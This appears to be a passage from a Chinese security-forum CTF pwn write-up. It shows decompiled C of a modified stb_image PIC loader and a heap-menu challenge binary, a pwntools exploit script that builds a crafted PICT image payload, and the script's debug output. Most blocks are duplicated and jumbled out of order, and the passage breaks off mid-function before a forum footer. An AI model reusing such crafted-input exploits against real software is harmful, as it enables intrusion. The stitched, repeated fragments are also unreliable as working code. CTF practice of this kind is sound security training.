if ( (unsigned int)stbi__at_eof(file_data_ptr) )
{
stbi__err("bad file");
return 0;
}
if ( (unsigned int)stbi__mad3sizes_valid(image_width, image_height, 4, 0) )
{
stbi__get32be(file_data_ptr);
stbi__get16be(file_data_ptr);
stbi__get16be(file_data_ptr);
loaded_image_data = (void *)stbi__malloc_mad3(image_width, image_height, 4u, 0);
if ( loaded_image_data )
{
memset(loaded_image_data, 0xFF, (int)(4 * image_height * image_width));
if ( !stbi__pic_load_core(
file_data_ptr,
image_width,
image_height,
local_format_ptr,
(char *)loaded_image_data,
image_modifications_ptr) )
*(_QWORD *)&buffer_ptr_1[4] = __readfsqword(0x28u);
compression_flags = 0;
header_index = 0;
do
{
if ( header_index == 10 )
{
LABEL_3:
stbi__err("bad format");
return 0;
}
temp_int = header_index++;
header_ptr = &header_data[3 * temp_int];
header_type = (unsigned __int8)stbi__get8((__int64)data_stream);
*header_ptr = stbi__get8((__int64)data_stream);
header_ptr[1] = stbi__get8((__int64)data_stream);
header_ptr[2] = stbi__get8((__int64)data_stream);
compression_flags |= header_ptr[2];
if ( (unsigned int)stbi__at_eof(data_stream) )
{
LABEL_54:
stbi__err("bad file");
return 0;
}
if ( *header_ptr != 8 )
goto LABEL_3;
}
while ( header_type );
if ( (compression_flags & 0x10) != 0 )
channel_count = 4;
else
channel_count = 3;
*channels_out = channel_count;
*(_QWORD *)&buffer_ptr_1[4] = __readfsqword(0x28u);
compression_flags = 0;
header_index = 0;
do
{
if ( header_index == 10 )
{
LABEL_3:
stbi__err("bad format");
return 0;
}
temp_int = header_index++;
header_ptr = &header_data[3 * temp_int];
header_type = (unsigned __int8)stbi__get8((__int64)data_stream);
*header_ptr = stbi__get8((__int64)data_stream);
header_ptr[1] = stbi__get8((__int64)data_stream);
header_ptr[2] = stbi__get8((__int64)data_stream);
compression_flags |= header_ptr[2];
if ( (unsigned int)stbi__at_eof(data_stream) )
{
LABEL_54:
stbi__err("bad file");
return 0;
}
if ( *header_ptr != 8 )
goto LABEL_3;
}
while ( header_type );
if ( (compression_flags & 0x10) != 0 )
channel_count = 4;
else
channel_count = 3;
*channels_out = channel_count;
for ( i = 0; i < row_index; ++i )
{
for ( channel_index = 0; channel_index < header_index; ++channel_index )
{
channel_header_ptr = &header_data[3 * channel_index];
buffer_ptr = &output_buffer[4 * width * i];
if ( channel_header_ptr[1] == 2 )
{
...
}
else
{
if ( (unsigned __int8)header_data[3 * channel_index + 1] > 2u )
goto LABEL_3;
if ( header_data[3 * channel_index + 1] )
{
...
}
else
{
for ( copy_count = 0; copy_count < width; ++copy_count )
{
if ( !stbi__readval(data_stream, (unsigned __int8)channel_header_ptr[2], buffer_ptr) )
return 0;
mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
neg_mod_result = -mod_result;
if ( mod_result > 0 )
neg_mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
noise_value = image_noises[neg_mod_result];
index_temp = -mod_result;
if ( mod_result > 0 )
index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
buffer_ptr += 4;
}
}
}
}
}
return output_buffer;
for ( i = 0; i < row_index; ++i )
{
for ( channel_index = 0; channel_index < header_index; ++channel_index )
{
channel_header_ptr = &header_data[3 * channel_index];
buffer_ptr = &output_buffer[4 * width * i];
if ( channel_header_ptr[1] == 2 )
{
...
}
else
{
if ( (unsigned __int8)header_data[3 * channel_index + 1] > 2u )
goto LABEL_3;
if ( header_data[3 * channel_index + 1] )
{
...
}
else
{
for ( copy_count = 0; copy_count < width; ++copy_count )
{
if ( !stbi__readval(data_stream, (unsigned __int8)channel_header_ptr[2], buffer_ptr) )
return 0;
mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
neg_mod_result = -mod_result;
if ( mod_result > 0 )
neg_mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
noise_value = image_noises[neg_mod_result];
index_temp = -mod_result;
if ( mod_result > 0 )
index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
buffer_ptr += 4;
}
}
}
}
}
return output_buffer;
bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
def pack_data():
return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
data = flat({
0:bytes([0x53, 0x80, 0xF6, 0x34]),
0x58:b"PICT",
0x5c:p16(0x5500),
0x5e:p16(0x100),
0x68:bytes([0,8,0,0xf0]),
0x6c:pack_data()*0x40
},filler=b"\x00")
sz = len(data)
ru(b"Enter image size in bytes: ")
sl(str(sz).encode())
sl(data)
ru(b"yo face = ")
num = rl()[:-1]
success(f"num = {num} / 4919")
def pack_data():
return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
data = flat({
0:bytes([0x53, 0x80, 0xF6, 0x34]),
0x58:b"PICT",
0x5c:p16(0x5500),
0x5e:p16(0x100),
0x68:bytes([0,8,0,0xf0]),
0x6c:pack_data()*0x40
},filler=b"\x00")
sz = len(data)
ru(b"Enter image size in bytes: ")
sl(str(sz).encode())
sl(data)
ru(b"yo face = ")
num = rl()[:-1]
success(f"num = {num} / 4919")
[DEBUG] Received 0x1b bytes:
b'Enter image size in bytes: '
[DEBUG] Sent 0x4 bytes:
b'620\n'
[DEBUG] Sent 0x26d bytes:
00000000 53 80 f6 34 00 00 00 00 00 00 00 00 00 00 00 00 │S··4│····│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000050 00 00 00 00 00 00 00 00 50 49 43 54 00 55 00 01 │····│····│PICT│·U··│
00000060 00 00 00 00 00 00 00 00 00 08 00 f0 0a f0 0f 04 │····│····│····│····│
00000070 00 f0 0f 04 0a f0 0f 04 00 f0 0f 04 0a f0 0f 04 │····│····│····│····│
*
00000260 00 f0 0f 04 0a f0 0f 04 00 f0 0f 04 0a │····│····│····│·│
0000026d
[DEBUG] Received 0x26 bytes:
b'yo face = 4919\n'
b'=== restoaurnat ===\n'
b'>> '
[+] num = b'4919' / 4919
[DEBUG] Received 0x1b bytes:
b'Enter image size in bytes: '
[DEBUG] Sent 0x4 bytes:
b'620\n'
[DEBUG] Sent 0x26d bytes:
00000000 53 80 f6 34 00 00 00 00 00 00 00 00 00 00 00 00 │S··4│····│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000050 00 00 00 00 00 00 00 00 50 49 43 54 00 55 00 01 │····│····│PICT│·U··│
00000060 00 00 00 00 00 00 00 00 00 08 00 f0 0a f0 0f 04 │····│····│····│····│
00000070 00 f0 0f 04 0a f0 0f 04 00 f0 0f 04 0a f0 0f 04 │····│····│····│····│
*
00000260 00 f0 0f 04 0a f0 0f 04 00 f0 0f 04 0a │····│····│····│·│
0000026d
[DEBUG] Received 0x26 bytes:
b'yo face = 4919\n'
b'=== restoaurnat ===\n'
b'>> '
[+] num = b'4919' / 4919
while ( 1 )
{
while ( 1 )
{
menu(menu_format_string);
menu_format_string = "%d";
if ( (unsigned int)__isoc99_scanf("%d", &choice) != 1 )
{
puts("Invalid input!");
exit(1);
}
if ( choice != 31 )
break;
if ( privilege )
goto LABEL_39;
do_show();
}
if ( choice > 31 )
goto LABEL_42;
if ( choice == 17 )
{
puts("Here's a dollar go get yoself a mggaga");
goto LABEL_42;
}
if ( choice > 17 )
goto LABEL_42;
if ( choice == 1 )
{
if ( privilege )
goto LABEL_39;
do_alloc();
}
else if ( choice == 2 )
{
if ( privilege )
{
LABEL_39:
menu_format_string = "You have to be a pwn monk to order";
puts("You have to be a pwn monk to order");
}
else
{
do_delete("%d");
}
}
else
{
LABEL_42:
menu_format_string = "Invalid choice!";
puts("Invalid choice!");
}
}
}
error_message = (const char *)stbi_failure_reason(image_buffer);
printf("Error loading image: %s\n", error_message);
return 1;
while ( 1 )
{
while ( 1 )
{
menu(menu_format_string);
menu_format_string = "%d";
if ( (unsigned int)__isoc99_scanf("%d", &choice) != 1 )
{
puts("Invalid input!");
exit(1);
}
if ( choice != 31 )
break;
if ( privilege )
goto LABEL_39;
do_show();
}
if ( choice > 31 )
goto LABEL_42;
if ( choice == 17 )
{
puts("Here's a dollar go get yoself a mggaga");
goto LABEL_42;
}
if ( choice > 17 )
goto LABEL_42;
if ( choice == 1 )
{
if ( privilege )
goto LABEL_39;
do_alloc();
}
else if ( choice == 2 )
{
if ( privilege )
{
LABEL_39:
menu_format_string = "You have to be a pwn monk to order";
puts("You have to be a pwn monk to order");
}
else
{
do_delete("%d");
}
}
else
{
LABEL_42:
menu_format_string = "Invalid choice!";
puts("Invalid choice!");
}
}
}
error_message = (const char *)stbi_failure_reason(image_buffer);
printf("Error loading image: %s\n", error_message);
return 1;
unsigned __int64 __fastcall do_alloc()
{
unsigned int idx;
size_t size;
void *s;
_BYTE buf[104];
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
printf("order: ");
if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx <= 0xA )
{
printf("describe ");
getchar();
size = read(0, buf, 0x5Fu);
if ( (__int64)size > 0 )
{
if ( buf[size - 1] == 10 )
--size;
if ( size && (__int64)size <= 0x5F )
{
if ( size != sizes[allowed] )
sizes[++allowed] = size;
if ( allowed <= 2 )
{
s = malloc(size);
if ( !s )
exit(1);
memset(s, 0, 8u);
memcpy(s, buf, size);
chunks[idx] = (__int64)s;
puts("big chungus.");
}
else
{
puts("You ate too much and pooped yoself");
}
}
}
}
return v5 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall do_alloc()
{
unsigned int idx;
size_t size;
void *s;
_BYTE buf[104];
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
printf("order: ");
if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx <= 0xA )
{
printf("describe ");
getchar();
size = read(0, buf, 0x5Fu);
if ( (__int64)size > 0 )
{
if ( buf[size - 1] == 10 )
--size;
if ( size && (__int64)size <= 0x5F )
{
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!